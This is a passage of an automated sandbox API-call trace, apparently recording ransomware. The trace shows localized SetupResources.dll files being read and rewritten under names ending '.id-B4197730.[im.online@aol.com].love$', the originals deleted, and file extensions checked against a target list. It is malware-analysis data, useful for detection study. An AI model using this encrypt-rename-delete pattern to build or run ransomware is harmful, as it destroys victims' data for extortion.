lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0099.545] GetLastError () returned 0x0 [0099.545] ReadFile (in: hFile=0x2d8, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x4358, lpOverlapped=0x0) returned 1 [0099.594] WriteFile (in: hFile=0x2b8, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x4360, lpOverlapped=0x0) returned 1 [0099.595] ReadFile (in: hFile=0x2d8, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0099.595] WriteFile (in: hFile=0x2b8, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0xf8, lpOverlapped=0x0) returned 1 [0099.595] SetEndOfFile (hFile=0x2b8) returned 1 [0099.924] CloseHandle (hObject=0x2b8) returned 1 [0099.926] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0099.926] SetEndOfFile (hFile=0x2d8) returned 1 [0099.927] CloseHandle (hObject=0x2d8) returned 1 [0099.927] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0099.928] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll")) returned 1 [0099.928] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0099.928] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0099.928] lstrlenW (lpString=".doc") returned 4 [0099.928] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0099.928] lstrlenW (lpString=".docx") returned 5 [0099.928] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0099.928] lstrlenW (lpString=".pdf") returned 4 [0099.928] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0099.994] lstrlenW (lpString=".xls") returned 4 [0099.994] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0099.994] lstrlenW (lpString=".xlsx") returned 5 [0099.995] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0099.995] lstrlenW (lpString=".ppt") returned 4 [0099.995] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0099.995] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0099.995] lstrlenW (lpString=".zip") returned 4 [0099.995] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0099.995] lstrlenW (lpString=".rar") returned 4 [0099.995] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0099.995] lstrlenW (lpString=".bz2") returned 4 [0099.995] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0099.995] lstrlenW (lpString=".7z") returned 3 [0099.995] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0099.995] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0099.995] lstrlenW (lpString=".dbf") returned 4 [0099.995] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0099.995] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0099.995] lstrlenW (lpString=".1cd") returned 4 [0099.995] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0099.995] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0099.995] lstrlenW (lpString=".jpg") returned 4 [0099.995] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0099.995] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0099.995] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0099.995] lstrlenW (lpString=".doc") returned 4 [0099.995] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0099.996] lstrlenW (lpString=".docx") returned 5 [0099.996] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0099.996] lstrlenW (lpString=".pdf") returned 4 [0099.996] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0099.996] lstrlenW (lpString=".xls") returned 4 [0099.996] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0099.996] lstrlenW (lpString=".xlsx") returned 5 [0099.996] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0099.996] lstrlenW (lpString=".ppt") returned 4 [0099.996] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0099.996] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0099.996] lstrlenW (lpString=".zip") returned 4 [0099.996] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0099.996] lstrlenW (lpString=".rar") returned 4 [0099.996] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0099.996] lstrlenW (lpString=".bz2") returned 4 [0099.996] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0099.996] lstrlenW (lpString=".7z") returned 3 [0099.996] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0099.996] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0099.996] lstrlenW (lpString=".dbf") returned 4 [0099.996] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0099.996] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0099.996] lstrlenW (lpString=".1cd") returned 4 [0099.996] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0099.996] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0099.996] lstrlenW (lpString=".jpg") returned 4 [0099.996] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0099.997] Sleep (dwMilliseconds=0x64) [0100.511] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0100.511] lstrlenW (lpString="SetupResources.dll") returned 18 [0100.512] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0100.512] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=18264) returned 1 [0100.512] CloseHandle (hObject=0x2d8) returned 1 [0100.512] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll")) returned 0x80 [0100.512] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0100.513] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0100.513] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.513] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.513] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0100.515] GetLastError () returned 0x0 [0100.515] ReadFile (in: hFile=0x2d8, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x4758, lpOverlapped=0x0) returned 1 [0100.518] WriteFile (in: hFile=0x2b8, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x4760, lpOverlapped=0x0) returned 1 [0100.520] ReadFile (in: hFile=0x2d8, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0100.520] WriteFile (in: hFile=0x2b8, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0xf8, lpOverlapped=0x0) returned 1 [0100.520] SetEndOfFile (hFile=0x2b8) returned 1 [0100.520] CloseHandle (hObject=0x2b8) returned 1 [0100.522] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.522] SetEndOfFile (hFile=0x2d8) returned 1 [0100.523] CloseHandle (hObject=0x2d8) returned 1 [0100.523] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0100.523] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll")) returned 1 [0100.524] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0100.524] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0100.524] lstrlenW (lpString=".doc") returned 4 [0100.524] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0100.524] lstrlenW (lpString=".docx") returned 5 [0100.524] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0100.524] lstrlenW (lpString=".pdf") returned 4 [0100.524] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0100.524] lstrlenW (lpString=".xls") returned 4 [0100.524] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0100.524] lstrlenW (lpString=".xlsx") returned 5 [0100.524] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0100.524] lstrlenW (lpString=".ppt") returned 4 [0100.524] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0100.524] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0100.524] lstrlenW (lpString=".zip") returned 4 [0100.524] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0100.524] lstrlenW (lpString=".rar") returned 4 [0100.524] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0100.524] lstrlenW (lpString=".bz2") returned 4 [0100.524] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0100.525] lstrlenW (lpString=".7z") returned 3 [0100.525] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0100.525] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0100.525] lstrlenW (lpString=".dbf") returned 4 [0100.525] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0100.525] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0100.525] lstrlenW (lpString=".1cd") returned 4 [0100.525] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0100.525] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0100.525] lstrlenW (lpString=".jpg") returned 4 [0100.525] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0100.525] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0100.525] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0100.525] lstrlenW (lpString=".doc") returned 4 [0100.525] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0100.526] lstrlenW (lpString=".docx") returned 5 [0100.526] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0100.526] lstrlenW (lpString=".pdf") returned 4 [0100.526] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0100.526] lstrlenW (lpString=".xls") returned 4 [0100.526] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0100.526] lstrlenW (lpString=".xlsx") returned 5 [0100.526] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0100.526] lstrlenW (lpString=".ppt") returned 4 [0100.526] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0100.526] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0100.526] lstrlenW (lpString=".zip") returned 4 [0100.526] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0100.526] lstrlenW (lpString=".rar") returned 4 [0100.526] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0100.526] lstrlenW (lpString=".bz2") returned 4 [0100.526] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0100.526] lstrlenW (lpString=".7z") returned 3 [0100.526] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0100.526] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0100.526] lstrlenW (lpString=".dbf") returned 4 [0100.526] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0100.526] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0100.526] lstrlenW (lpString=".1cd") returned 4 [0100.526] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0100.526] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0100.526] lstrlenW (lpString=".jpg") returned 4 [0100.527] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0100.527] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0100.527] lstrlenW (lpString="SetupResources.dll") returned 18 [0100.527] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0100.527] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=18264) returned 1 [0100.527] CloseHandle (hObject=0x2d8) returned 1 [0100.527] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll")) returned 0x80 [0100.527] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0100.528] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0100.528] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.528] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.528] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0100.530] GetLastError () returned 0x0 [0100.530] ReadFile (in: hFile=0x2d8, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x4758, lpOverlapped=0x0) returned 1 [0100.533] WriteFile (in: hFile=0x2b8, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x4760, lpOverlapped=0x0) returned 1 [0100.534] ReadFile (in: hFile=0x2d8, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0100.535] WriteFile (in: hFile=0x2b8, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0xf8, lpOverlapped=0x0) returned 1 [0100.535] SetEndOfFile (hFile=0x2b8) returned 1 [0100.535] CloseHandle (hObject=0x2b8) returned 1 [0100.540] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.540] SetEndOfFile (hFile=0x2d8) returned 1 [0100.541] CloseHandle (hObject=0x2d8) returned 1 [0100.542] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0100.542] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll")) returned 1 [0100.542] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0100.542] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0100.542] lstrlenW (lpString=".doc") returned 4 [0100.542] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0100.542] lstrlenW (lpString=".docx") returned 5 [0100.542] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0100.542] lstrlenW (lpString=".pdf") returned 4 [0100.542] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0100.542] lstrlenW (lpString=".xls") returned 4 [0100.542] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0100.542] lstrlenW (lpString=".xlsx") returned 5 [0100.542] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0100.542] lstrlenW (lpString=".ppt") returned 4 [0100.543] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0100.543] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0100.543] lstrlenW (lpString=".zip") returned 4 [0100.543] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0100.543] lstrlenW (lpString=".rar") returned 4 [0100.543] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0100.543] lstrlenW (lpString=".bz2") returned 4 [0100.543] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0100.543] lstrlenW (lpString=".7z") returned 3 [0100.543] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0100.543] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0100.543] lstrlenW (lpString=".dbf") returned 4 [0100.543] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0100.543] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0100.543] lstrlenW (lpString=".1cd") returned 4 [0100.543] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0100.543] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0100.543] lstrlenW (lpString=".jpg") returned 4 [0100.543] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0100.543] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0100.543] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0100.543] lstrlenW (lpString=".doc") returned 4 [0100.543] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0100.543] lstrlenW (lpString=".docx") returned 5 [0100.543] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0100.543] lstrlenW (lpString=".pdf") returned 4 [0100.543] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0100.543] lstrlenW (lpString=".xls") returned 4 [0100.543] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0100.543] lstrlenW (lpString=".xlsx") returned 5 [0100.543] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0100.544] lstrlenW (lpString=".ppt") returned 4 [0100.544] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0100.544] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0100.544] lstrlenW (lpString=".zip") returned 4 [0100.544] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0100.544] lstrlenW (lpString=".rar") returned 4 [0100.544] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0100.544] lstrlenW (lpString=".bz2") returned 4 [0100.544] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0100.544] lstrlenW (lpString=".7z") returned 3 [0100.544] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0100.544] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0100.544] lstrlenW (lpString=".dbf") returned 4 [0100.544] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0100.544] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0100.544] lstrlenW (lpString=".1cd") returned 4 [0100.544] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0100.544] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0100.544] lstrlenW (lpString=".jpg") returned 4 [0100.544] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0100.544] Sleep (dwMilliseconds=0x64) [0100.946] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0100.946] lstrlenW (lpString="SetupResources.dll") returned 18 [0100.946] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0100.947] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=14168) returned 1 [0100.947] CloseHandle (hObject=0x340) returned 1 [0100.947] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll")) returned 0x80 [0100.947] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0100.947] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0100.947] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.947] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.948] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0100.949] GetLastError () returned 0x0 [0100.950] ReadFile (in: hFile=0x340, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x3758, lpOverlapped=0x0) returned 1 [0100.954] WriteFile (in: hFile=0x338, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x3760, lpOverlapped=0x0) returned 1 [0100.956] ReadFile (in: hFile=0x340, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0100.956] WriteFile (in: hFile=0x338, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0xf8, lpOverlapped=0x0) returned 1 [0100.956] SetEndOfFile (hFile=0x338) returned 1 [0100.956] CloseHandle (hObject=0x338) returned 1 [0100.958] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.958] SetEndOfFile (hFile=0x340) returned 1 [0100.959] CloseHandle (hObject=0x340) returned 1 [0100.959] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0100.960] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll")) returned 1 [0100.960] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0100.960] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0100.960] lstrlenW (lpString=".doc") returned 4 [0100.960] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0100.960] lstrlenW (lpString=".docx") returned 5 [0100.960] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0100.960] lstrlenW (lpString=".pdf") returned 4 [0100.960] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0100.960] lstrlenW (lpString=".xls") returned 4 [0100.960] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0100.960] lstrlenW (lpString=".xlsx") returned 5 